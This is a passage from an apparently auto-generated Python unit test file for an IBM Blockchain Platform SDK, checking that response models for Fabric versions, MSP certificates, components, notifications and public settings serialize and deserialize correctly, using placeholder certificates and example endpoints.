fab_version_object_model['version'] = '1.4.6-2'
fab_version_object_model['image'] = { 'foo': 'bar' }
fabric_version_dictionary_model = {} # FabricVersionDictionary
fabric_version_dictionary_model['1.4.6-2'] = fab_version_object_model
fabric_version_dictionary_model['2.1.0-0'] = fab_version_object_model
fabric_version_dictionary_model['foo'] = { 'foo': 'bar' }
# Construct a json representation of a GetFabricVersionsResponseVersions model
get_fabric_versions_response_versions_model_json = {}
get_fabric_versions_response_versions_model_json['ca'] = fabric_version_dictionary_model
get_fabric_versions_response_versions_model_json['peer'] = fabric_version_dictionary_model
get_fabric_versions_response_versions_model_json['orderer'] = fabric_version_dictionary_model
# Construct a model instance of GetFabricVersionsResponseVersions by calling from_dict on the json representation
get_fabric_versions_response_versions_model = GetFabricVersionsResponseVersions.from_dict(get_fabric_versions_response_versions_model_json)
assert get_fabric_versions_response_versions_model != False
# Construct a model instance of GetFabricVersionsResponseVersions by calling from_dict on the json representation
get_fabric_versions_response_versions_model_dict = GetFabricVersionsResponseVersions.from_dict(get_fabric_versions_response_versions_model_json).__dict__
get_fabric_versions_response_versions_model2 = GetFabricVersionsResponseVersions(**get_fabric_versions_response_versions_model_dict)
# Verify the model instances are equivalent
assert get_fabric_versions_response_versions_model == get_fabric_versions_response_versions_model2
# Convert model instance back to dict and verify no loss of data
get_fabric_versions_response_versions_model_json2 = get_fabric_versions_response_versions_model.to_dict()
assert get_fabric_versions_response_versions_model_json2 == get_fabric_versions_response_versions_model_json
class TestGetMSPCertificateResponse():
"""
Test Class for GetMSPCertificateResponse
"""
def test_get_msp_certificate_response_serialization(self):
"""
Test serialization/deserialization for GetMSPCertificateResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
msp_public_data_model = {} # MspPublicData
msp_public_data_model['msp_id'] = 'Org1'
msp_public_data_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_public_data_model['admins'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_public_data_model['tls_root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a json representation of a GetMSPCertificateResponse model
get_msp_certificate_response_model_json = {}
get_msp_certificate_response_model_json['msps'] = [msp_public_data_model]
# Construct a model instance of GetMSPCertificateResponse by calling from_dict on the json representation
get_msp_certificate_response_model = GetMSPCertificateResponse.from_dict(get_msp_certificate_response_model_json)
assert get_msp_certificate_response_model != False
# Construct a model instance of GetMSPCertificateResponse by calling from_dict on the json representation
get_msp_certificate_response_model_dict = GetMSPCertificateResponse.from_dict(get_msp_certificate_response_model_json).__dict__
get_msp_certificate_response_model2 = GetMSPCertificateResponse(**get_msp_certificate_response_model_dict)
# Verify the model instances are equivalent
assert get_msp_certificate_response_model == get_msp_certificate_response_model2
# Convert model instance back to dict and verify no loss of data
get_msp_certificate_response_model_json2 = get_msp_certificate_response_model.to_dict()
assert get_msp_certificate_response_model_json2 == get_msp_certificate_response_model_json
class TestGetMultiComponentsResponse():
"""
Test Class for GetMultiComponentsResponse
"""
def test_get_multi_components_response_serialization(self):
"""
Test serialization/deserialization for GetMultiComponentsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_component_response_msp_ca_model = {} # GenericComponentResponseMspCa
generic_component_response_msp_ca_model['name'] = 'org1CA'
generic_component_response_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_tlsca_model = {} # GenericComponentResponseMspTlsca
generic_component_response_msp_tlsca_model['name'] = 'org1tlsCA'
generic_component_response_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_component_model = {} # GenericComponentResponseMspComponent
generic_component_response_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
generic_component_response_msp_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
generic_component_response_msp_model = {} # GenericComponentResponseMsp
generic_component_response_msp_model['ca'] = generic_component_response_msp_ca_model
generic_component_response_msp_model['tlsca'] = generic_component_response_msp_tlsca_model
generic_component_response_msp_model['component'] = generic_component_response_msp_component_model
node_ou_general_model = {} # NodeOuGeneral
node_ou_general_model['enabled'] = True
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
generic_component_response_resources_model = {} # GenericComponentResponseResources
generic_component_response_resources_model['ca'] = generic_resources_model
generic_component_response_resources_model['peer'] = generic_resources_model
generic_component_response_resources_model['orderer'] = generic_resources_model
generic_component_response_resources_model['proxy'] = generic_resources_model
generic_component_response_resources_model['statedb'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
generic_component_response_storage_model = {} # GenericComponentResponseStorage
generic_component_response_storage_model['ca'] = storage_object_model
generic_component_response_storage_model['peer'] = storage_object_model
generic_component_response_storage_model['orderer'] = storage_object_model
generic_component_response_storage_model['statedb'] = storage_object_model
generic_component_response_model = {} # GenericComponentResponse
generic_component_response_model['id'] = 'myca-2'
generic_component_response_model['type'] = 'fabric-ca'
generic_component_response_model['display_name'] = 'Example CA'
generic_component_response_model['cluster_id'] = 'mzdqhdifnl'
generic_component_response_model['cluster_name'] = 'ordering service 1'
generic_component_response_model['grpcwp_url'] = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
generic_component_response_model['api_url'] = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
generic_component_response_model['operations_url'] = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
generic_component_response_model['msp'] = generic_component_response_msp_model
generic_component_response_model['msp_id'] = 'Org1'
generic_component_response_model['location'] = 'ibmcloud'
generic_component_response_model['node_ou'] = node_ou_general_model
generic_component_response_model['resources'] = generic_component_response_resources_model
generic_component_response_model['scheme_version'] = 'v1'
generic_component_response_model['state_db'] = 'couchdb'
generic_component_response_model['storage'] = generic_component_response_storage_model
generic_component_response_model['timestamp'] = 1537262855753
generic_component_response_model['tags'] = ['fabric-ca']
generic_component_response_model['version'] = '1.4.6-1'
generic_component_response_model['zone'] = '-'
# Construct a json representation of a GetMultiComponentsResponse model
get_multi_components_response_model_json = {}
get_multi_components_response_model_json['components'] = [generic_component_response_model]
# Construct a model instance of GetMultiComponentsResponse by calling from_dict on the json representation
get_multi_components_response_model = GetMultiComponentsResponse.from_dict(get_multi_components_response_model_json)
assert get_multi_components_response_model != False
# Construct a model instance of GetMultiComponentsResponse by calling from_dict on the json representation
get_multi_components_response_model_dict = GetMultiComponentsResponse.from_dict(get_multi_components_response_model_json).__dict__
get_multi_components_response_model2 = GetMultiComponentsResponse(**get_multi_components_response_model_dict)
# Verify the model instances are equivalent
assert get_multi_components_response_model == get_multi_components_response_model2
# Convert model instance back to dict and verify no loss of data
get_multi_components_response_model_json2 = get_multi_components_response_model.to_dict()
assert get_multi_components_response_model_json2 == get_multi_components_response_model_json
class TestGetNotificationsResponse():
"""
Test Class for GetNotificationsResponse
"""
def test_get_notifications_response_serialization(self):
"""
Test serialization/deserialization for GetNotificationsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
notification_data_model = {} # NotificationData
notification_data_model['id'] = '60d84819bfa17adb4174ff3a1c52b5d6'
notification_data_model['type'] = 'notification'
notification_data_model['status'] = 'pending'
notification_data_model['by'] = 'd******a@us.ibm.com'
notification_data_model['message'] = 'Restarting application'
notification_data_model['ts_display'] = 1537262855753
# Construct a json representation of a GetNotificationsResponse model
get_notifications_response_model_json = {}
get_notifications_response_model_json['total'] = 10
get_notifications_response_model_json['returning'] = 3
get_notifications_response_model_json['notifications'] = [notification_data_model]
# Construct a model instance of GetNotificationsResponse by calling from_dict on the json representation
get_notifications_response_model = GetNotificationsResponse.from_dict(get_notifications_response_model_json)
assert get_notifications_response_model != False
# Construct a model instance of GetNotificationsResponse by calling from_dict on the json representation
get_notifications_response_model_dict = GetNotificationsResponse.from_dict(get_notifications_response_model_json).__dict__
get_notifications_response_model2 = GetNotificationsResponse(**get_notifications_response_model_dict)
# Verify the model instances are equivalent
assert get_notifications_response_model == get_notifications_response_model2
# Convert model instance back to dict and verify no loss of data
get_notifications_response_model_json2 = get_notifications_response_model.to_dict()
assert get_notifications_response_model_json2 == get_notifications_response_model_json
class TestGetPublicSettingsResponse():
"""
Test Class for GetPublicSettingsResponse
"""
def test_get_public_settings_response_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
get_public_settings_response_clusterdata_model = {} # GetPublicSettingsResponseCLUSTERDATA
get_public_settings_response_clusterdata_model['type'] = 'paid'
get_public_settings_response_crn_model = {} # GetPublicSettingsResponseCRN
get_public_settings_response_crn_model['account_id'] = 'a/abcd'
get_public_settings_response_crn_model['c_name'] = 'staging'
get_public_settings_response_crn_model['c_type'] = 'public'
get_public_settings_response_crn_model['instance_id'] = 'abc123'
get_public_settings_response_crn_model['location'] = 'us-south'
get_public_settings_response_crn_model['resource_id'] = '-'
get_public_settings_response_crn_model['resource_type'] = '-'
get_public_settings_response_crn_model['service_name'] = 'blockchain'
get_public_settings_response_crn_model['version'] = 'v1'
get_public_settings_response_fabriccapabilities_model = {} # GetPublicSettingsResponseFABRICCAPABILITIES
get_public_settings_response_fabriccapabilities_model['application'] = ['V1_1']
get_public_settings_response_fabriccapabilities_model['channel'] = ['V1_1']
get_public_settings_response_fabriccapabilities_model['orderer'] = ['V1_1']
logging_settings_client_model = {} # LoggingSettingsClient
logging_settings_client_model['enabled'] = True
logging_settings_client_model['level'] = 'silly'
logging_settings_client_model['unique_name'] = False
logging_settings_server_model = {} # LoggingSettingsServer
logging_settings_server_model['enabled'] = True
logging_settings_server_model['level'] = 'silly'
logging_settings_server_model['unique_name'] = False
log_settings_response_model = {} # LogSettingsResponse
log_settings_response_model['client'] = logging_settings_client_model
log_settings_response_model['server'] = logging_settings_server_model
get_public_settings_response_filelogging_model = {} # GetPublicSettingsResponseFILELOGGING
get_public_settings_response_filelogging_model['server'] = log_settings_response_model
get_public_settings_response_filelogging_model['client'] = log_settings_response_model
get_public_settings_response_inactivitytimeouts_model = {} # GetPublicSettingsResponseINACTIVITYTIMEOUTS
get_public_settings_response_inactivitytimeouts_model['enabled'] = True
get_public_settings_response_inactivitytimeouts_model['max_idle_time'] = 60000
settings_timestamp_data_model = {} # SettingsTimestampData
settings_timestamp_data_model['now'] = 1542746836056
settings_timestamp_data_model['born'] = 1542746836056
settings_timestamp_data_model['next_settings_update'] = '1.2 mins'
settings_timestamp_data_model['up_time'] = '30 days'
get_public_settings_response_versions_model = {} # GetPublicSettingsResponseVERSIONS
get_public_settings_response_versions_model['apollo'] = '65f3cbfd'
get_public_settings_response_versions_model['athena'] = '1198f94'
get_public_settings_response_versions_model['stitch'] = '0f1a0c6'
get_public_settings_response_versions_model['tag'] = 'v0.4.31'
# Construct a json representation of a GetPublicSettingsResponse model
get_public_settings_response_model_json = {}
get_public_settings_response_model_json['ACTIVITY_TRACKER_PATH'] = '/logs'
get_public_settings_response_model_json['ATHENA_ID'] = '17v7e'
get_public_settings_response_model_json['AUTH_SCHEME'] = 'iam'
get_public_settings_response_model_json['CALLBACK_URI'] = '/auth/cb'
get_public_settings_response_model_json['CLUSTER_DATA'] = get_public_settings_response_clusterdata_model
get_public_settings_response_model_json['CONFIGTXLATOR_URL'] = 'https://n3a3ec3-configtxlator.ibp.us-south.containers.appdomain.cloud'
get_public_settings_response_model_json['CRN'] = get_public_settings_response_crn_model
get_public_settings_response_model_json['CRN_STRING'] = 'crn:v1:staging:public:blockchain:us-south:a/abcd:abc123::'
get_public_settings_response_model_json['CSP_HEADER_VALUES'] = ['-']
get_public_settings_response_model_json['DB_SYSTEM'] = 'system'
get_public_settings_response_model_json['DEPLOYER_URL'] = 'https://api.dev.blockchain.cloud.ibm.com'
get_public_settings_response_model_json['DOMAIN'] = 'localhost'
get_public_settings_response_model_json['ENVIRONMENT'] = 'prod'
get_public_settings_response_model_json['FABRIC_CAPABILITIES'] = get_public_settings_response_fabriccapabilities_model
get_public_settings_response_model_json['FEATURE_FLAGS'] = { 'foo': 'bar' }
get_public_settings_response_model_json['FILE_LOGGING'] = get_public_settings_response_filelogging_model
get_public_settings_response_model_json['HOST_URL'] = 'http://localhost:3000'
get_public_settings_response_model_json['IAM_CACHE_ENABLED'] = True
get_public_settings_response_model_json['IAM_URL'] = '-'
get_public_settings_response_model_json['IBM_ID_CALLBACK_URL'] = 'http://localhost:3000/auth/login'
get_public_settings_response_model_json['IGNORE_CONFIG_FILE'] = True
get_public_settings_response_model_json['INACTIVITY_TIMEOUTS'] = get_public_settings_response_inactivitytimeouts_model
get_public_settings_response_model_json['INFRASTRUCTURE'] = 'ibmcloud'
get_public_settings_response_model_json['LANDING_URL'] = 'http://localhost:3000'
get_public_settings_response_model_json['LOGIN_URI'] = '/auth/login'
get_public_settings_response_model_json['LOGOUT_URI'] = '/auth/logout'
get_public_settings_response_model_json['MAX_REQ_PER_MIN'] = 25
get_public_settings_response_model_json['MAX_REQ_PER_MIN_AK'] = 25
get_public_settings_response_model_json['MEMORY_CACHE_ENABLED'] = True
get_public_settings_response_model_json['PORT'] = 3000
get_public_settings_response_model_json['PROXY_CACHE_ENABLED'] = True
get_public_settings_response_model_json['PROXY_TLS_FABRIC_REQS'] = 'always'
get_public_settings_response_model_json['PROXY_TLS_HTTP_URL'] = 'http://localhost:3000'
get_public_settings_response_model_json['PROXY_TLS_WS_URL'] = 'http://localhost:3000'
get_public_settings_response_model_json['REGION'] = 'us_south'
get_public_settings_response_model_json['SESSION_CACHE_ENABLED'] = True
get_public_settings_response_model_json['TIMEOUTS'] = { 'foo': 'bar' }
get_public_settings_response_model_json['TIMESTAMPS'] = settings_timestamp_data_model
get_public_settings_response_model_json['TRANSACTION_VISIBILITY'] = { 'foo': 'bar' }
get_public_settings_response_model_json['TRUST_PROXY'] = 'loopback'
get_public_settings_response_model_json['TRUST_UNKNOWN_CERTS'] = True
get_public_settings_response_model_json['VERSIONS'] = get_public_settings_response_versions_model
# Construct a model instance of GetPublicSettingsResponse by calling from_dict on the json representation
get_public_settings_response_model = GetPublicSettingsResponse.from_dict(get_public_settings_response_model_json)
assert get_public_settings_response_model != False
# Construct a model instance of GetPublicSettingsResponse by calling from_dict on the json representation
get_public_settings_response_model_dict = GetPublicSettingsResponse.from_dict(get_public_settings_response_model_json).__dict__
get_public_settings_response_model2 = GetPublicSettingsResponse(**get_public_settings_response_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_model == get_public_settings_response_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_model_json2 = get_public_settings_response_model.to_dict()
assert get_public_settings_response_model_json2 == get_public_settings_response_model_json
class TestGetPublicSettingsResponseCLUSTERDATA():
"""
Test Class for GetPublicSettingsResponseCLUSTERDATA
"""
def test_get_public_settings_response_clusterdata_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseCLUSTERDATA
"""
# Construct a json representation of a GetPublicSettingsResponseCLUSTERDATA model
get_public_settings_response_clusterdata_model_json = {}
get_public_settings_response_clusterdata_model_json['type'] = 'paid'
# Construct a model instance of GetPublicSettingsResponseCLUSTERDATA by calling from_dict on the json representation
get_public_settings_response_clusterdata_model = GetPublicSettingsResponseCLUSTERDATA.from_dict(get_public_settings_response_clusterdata_model_json)
assert get_public_settings_response_clusterdata_model != False
# Construct a model instance of GetPublicSettingsResponseCLUSTERDATA by calling from_dict on the json representation
get_public_settings_response_clusterdata_model_dict = GetPublicSettingsResponseCLUSTERDATA.from_dict(get_public_settings_response_clusterdata_model_json).__dict__
get_public_settings_response_clusterdata_model2 = GetPublicSettingsResponseCLUSTERDATA(**get_public_settings_response_clusterdata_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_clusterdata_model == get_public_settings_response_clusterdata_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_clusterdata_model_json2 = get_public_settings_response_clusterdata_model.to_dict()
assert get_public_settings_response_clusterdata_model_json2 == get_public_settings_response_clusterdata_model_json
class TestGetPublicSettingsResponseCRN():
"""
Test Class for GetPublicSettingsResponseCRN
"""
def test_get_public_settings_response_crn_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseCRN
"""
# Construct a json representation of a GetPublicSettingsResponseCRN model
get_public_settings_response_crn_model_json = {}
get_public_settings_response_crn_model_json['account_id'] = 'a/abcd'
get_public_settings_response_crn_model_json['c_name'] = 'staging'
get_public_settings_response_crn_model_json['c_type'] = 'public'
get_public_settings_response_crn_model_json['instance_id'] = 'abc123'
get_public_settings_response_crn_model_json['location'] = 'us-south'
get_public_settings_response_crn_model_json['resource_id'] = '-'
get_public_settings_response_crn_model_json['resource_type'] = '-'
get_public_settings_response_crn_model_json['service_name'] = 'blockchain'
get_public_settings_response_crn_model_json['version'] = 'v1'
# Construct a model instance of GetPublicSettingsResponseCRN by calling from_dict on the json representation
get_public_settings_response_crn_model = GetPublicSettingsResponseCRN.from_dict(get_public_settings_response_crn_model_json)
assert get_public_settings_response_crn_model != False
# Construct a model instance of GetPublicSettingsResponseCRN by calling from_dict on the json representation
get_public_settings_response_crn_model_dict = GetPublicSettingsResponseCRN.from_dict(get_public_settings_response_crn_model_json).__dict__
get_public_settings_response_crn_model2 = GetPublicSettingsResponseCRN(**get_public_settings_response_crn_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_crn_model == get_public_settings_response_crn_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_crn_model_json2 = get_public_settings_response_crn_model.to_dict()
assert get_public_settings_response_crn_model_json2 == get_public_settings_response_crn_model_json
class TestGetPublicSettingsResponseFABRICCAPABILITIES():
"""
Test Class for GetPublicSettingsResponseFABRICCAPABILITIES
"""
def test_get_public_settings_response_fabriccapabilities_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseFABRICCAPABILITIES
"""
# Construct a json representation of a GetPublicSettingsResponseFABRICCAPABILITIES model
get_public_settings_response_fabriccapabilities_model_json = {}
get_public_settings_response_fabriccapabilities_model_json['application'] = ['V1_1']
get_public_settings_response_fabriccapabilities_model_json['channel'] = ['V1_1']
get_public_settings_response_fabriccapabilities_model_json['orderer'] = ['V1_1']
# Construct a model instance of GetPublicSettingsResponseFABRICCAPABILITIES by calling from_dict on the json representation
get_public_settings_response_fabriccapabilities_model = GetPublicSettingsResponseFABRICCAPABILITIES.from_dict(get_public_settings_response_fabriccapabilities_model_json)
assert get_public_settings_response_fabriccapabilities_model != False
# Construct a model instance of GetPublicSettingsResponseFABRICCAPABILITIES by calling from_dict on the json representation
get_public_settings_response_fabriccapabilities_model_dict = GetPublicSettingsResponseFABRICCAPABILITIES.from_dict(get_public_settings_response_fabriccapabilities_model_json).__dict__
get_public_settings_response_fabriccapabilities_model2 = GetPublicSettingsResponseFABRICCAPABILITIES(**get_public_settings_response_fabriccapabilities_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_fabriccapabilities_model == get_public_settings_response_fabriccapabilities_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_fabriccapabilities_model_json2 = get_public_settings_response_fabriccapabilities_model.to_dict()
assert get_public_settings_response_fabriccapabilities_model_json2 == get_public_settings_response_fabriccapabilities_model_json
class TestGetPublicSettingsResponseFILELOGGING():
"""
Test Class for GetPublicSettingsResponseFILELOGGING
"""
def test_get_public_settings_response_filelogging_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseFILELOGGING
"""
# Construct dict forms of any model objects needed in order to build this model.
logging_settings_client_model = {} # LoggingSettingsClient
logging_settings_client_model['enabled'] = True
logging_settings_client_model['level'] = 'silly'
logging_settings_client_model['unique_name'] = False
logging_settings_server_model = {} # LoggingSettingsServer
logging_settings_server_model['enabled'] = True
logging_settings_server_model['level'] = 'silly'
logging_settings_server_model['unique_name'] = False
log_settings_response_model = {} # LogSettingsResponse
log_settings_response_model['client'] = logging_settings_client_model
log_settings_response_model['server'] = logging_settings_server_model
# Construct a json representation of a GetPublicSettingsResponseFILELOGGING model
get_public_settings_response_filelogging_model_json = {}
get_public_settings_response_filelogging_model_json['server'] = log_settings_response_model
get_public_settings_response_filelogging_model_json['client'] = log_settings_response_model
# Construct a model instance of GetPublicSettingsResponseFILELOGGING by calling from_dict on the json representation
get_public_settings_response_filelogging_model = GetPublicSettingsResponseFILELOGGING.from_dict(get_public_settings_response_filelogging_model_json)
assert get_public_settings_response_filelogging_model != False
# Construct a model instance of GetPublicSettingsResponseFILELOGGING by calling from_dict on the json representation
get_public_settings_response_filelogging_model_dict = GetPublicSettingsResponseFILELOGGING.from_dict(get_public_settings_response_filelogging_model_json).__dict__
get_public_settings_response_filelogging_model2 = GetPublicSettingsResponseFILELOGGING(**get_public_settings_response_filelogging_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_filelogging_model == get_public_settings_response_filelogging_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_filelogging_model_json2 = get_public_settings_response_filelogging_model.to_dict()
assert get_public_settings_response_filelogging_model_json2 == get_public_settings_response_filelogging_model_json
class TestGetPublicSettingsResponseINACTIVITYTIMEOUTS():
"""
Test Class for GetPublicSettingsResponseINACTIVITYTIMEOUTS
"""
def test_get_public_settings_response_inactivitytimeouts_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseINACTIVITYTIMEOUTS
"""
# Construct a json representation of a GetPublicSettingsResponseINACTIVITYTIMEOUTS model
get_public_settings_response_inactivitytimeouts_model_json = {}
get_public_settings_response_inactivitytimeouts_model_json['enabled'] = True
get_public_settings_response_inactivitytimeouts_model_json['max_idle_time'] = 60000
# Construct a model instance of GetPublicSettingsResponseINACTIVITYTIMEOUTS by calling from_dict on the json representation
get_public_settings_response_inactivitytimeouts_model = GetPublicSettingsResponseINACTIVITYTIMEOUTS.from_dict(get_public_settings_response_inactivitytimeouts_model_json)
assert get_public_settings_response_inactivitytimeouts_model != False
# Construct a model instance of GetPublicSettingsResponseINACTIVITYTIMEOUTS by calling from_dict on the json representation
get_public_settings_response_inactivitytimeouts_model_dict = GetPublicSettingsResponseINACTIVITYTIMEOUTS.from_dict(get_public_settings_response_inactivitytimeouts_model_json).__dict__
get_public_settings_response_inactivitytimeouts_model2 = GetPublicSettingsResponseINACTIVITYTIMEOUTS(**get_public_settings_response_inactivitytimeouts_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_inactivitytimeouts_model == get_public_settings_response_inactivitytimeouts_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_inactivitytimeouts_model_json2 = get_public_settings_response_inactivitytimeouts_model.to_dict()
assert get_public_settings_response_inactivitytimeouts_model_json2 == get_public_settings_response_inactivitytimeouts_model_json
class TestGetPublicSettingsResponseVERSIONS():
"""
Test Class for GetPublicSettingsResponseVERSIONS
"""
def test_get_public_settings_response_versions_serialization(self):
"""
Test serialization/deserialization for GetPublicSettingsResponseVERSIONS
"""
# Construct a json representation of a GetPublicSettingsResponseVERSIONS model
get_public_settings_response_versions_model_json = {}
get_public_settings_response_versions_model_json['apollo'] = '65f3cbfd'
get_public_settings_response_versions_model_json['athena'] = '1198f94'
get_public_settings_response_versions_model_json['stitch'] = '0f1a0c6'
get_public_settings_response_versions_model_json['tag'] = 'v0.4.31'
# Construct a model instance of GetPublicSettingsResponseVERSIONS by calling from_dict on the json representation
get_public_settings_response_versions_model = GetPublicSettingsResponseVERSIONS.from_dict(get_public_settings_response_versions_model_json)
assert get_public_settings_response_versions_model != False
# Construct a model instance of GetPublicSettingsResponseVERSIONS by calling from_dict on the json representation
get_public_settings_response_versions_model_dict = GetPublicSettingsResponseVERSIONS.from_dict(get_public_settings_response_versions_model_json).__dict__
get_public_settings_response_versions_model2 = GetPublicSettingsResponseVERSIONS(**get_public_settings_response_versions_model_dict)
# Verify the model instances are equivalent
assert get_public_settings_response_versions_model == get_public_settings_response_versions_model2
# Convert model instance back to dict and verify no loss of data
get_public_settings_response_versions_model_json2 = get_public_settings_response_versions_model.to_dict()
assert get_public_settings_response_versions_model_json2 == get_public_settings_response_versions_model_json
class TestImportCaBodyMsp():
"""
Test Class for ImportCaBodyMsp
"""
def test_import_ca_body_msp_serialization(self):
"""
Test serialization/deserialization for ImportCaBodyMsp
"""
# Construct dict forms of any model objects needed in order to build this model.
import_ca_body_msp_ca_model = {} # ImportCaBodyMspCa
import_ca_body_msp_ca_model['name'] = 'org1CA'
import_ca_body_msp_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
import_ca_body_msp_tlsca_model = {} # ImportCaBodyMspTlsca
import_ca_body_msp_tlsca_model['name'] = 'org1tlsCA'
import_ca_body_msp_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
import_ca_body_msp_component_model = {} # ImportCaBodyMspComponent
import_ca_body_msp_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Construct a json representation of a ImportCaBodyMsp model
import_ca_body_msp_model_json = {}
import_ca_body_msp_model_json['ca'] = import_ca_body_msp_ca_model
import_ca_body_msp_model_json['tlsca'] = import_ca_body_msp_tlsca_model
import_ca_body_msp_model_json['component'] = import_ca_body_msp_component_model
# Construct a model instance of ImportCaBodyMsp by calling from_dict on the json representation
import_ca_body_msp_model = ImportCaBodyMsp.from_dict(import_ca_body_msp_model_json)
assert import_ca_body_msp_model != False
# Construct a model instance of ImportCaBodyMsp by calling from_dict on the json representation
import_ca_body_msp_model_dict = ImportCaBodyMsp.from_dict(import_ca_body_msp_model_json).__dict__
import_ca_body_msp_model2 = ImportCaBodyMsp(**import_ca_body_msp_model_dict)
# Verify the model instances are equivalent
assert import_ca_body_msp_model == import_ca_body_msp_model2
# Convert model instance back to dict and verify no loss of data
import_ca_body_msp_model_json2 = import_ca_body_msp_model.to_dict()
assert import_ca_body_msp_model_json2 == import_ca_body_msp_model_json
class TestImportCaBodyMspCa():
"""
Test Class for ImportCaBodyMspCa
"""
def test_import_ca_body_msp_ca_serialization(self):
"""
Test serialization/deserialization for ImportCaBodyMspCa
"""
# Construct a json representation of a ImportCaBodyMspCa model
import_ca_body_msp_ca_model_json = {}
import_ca_body_msp_ca_model_json['name'] = 'org1CA'
import_ca_body_msp_ca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of ImportCaBodyMspCa by calling from_dict on the json representation
import_ca_body_msp_ca_model = ImportCaBodyMspCa.from_dict(import_ca_body_msp_ca_model_json)
assert import_ca_body_msp_ca_model != False
# Construct a model instance of ImportCaBodyMspCa by calling from_dict on the json representation
import_ca_body_msp_ca_model_dict = ImportCaBodyMspCa.from_dict(import_ca_body_msp_ca_model_json).__dict__
import_ca_body_msp_ca_model2 = ImportCaBodyMspCa(**import_ca_body_msp_ca_model_dict)
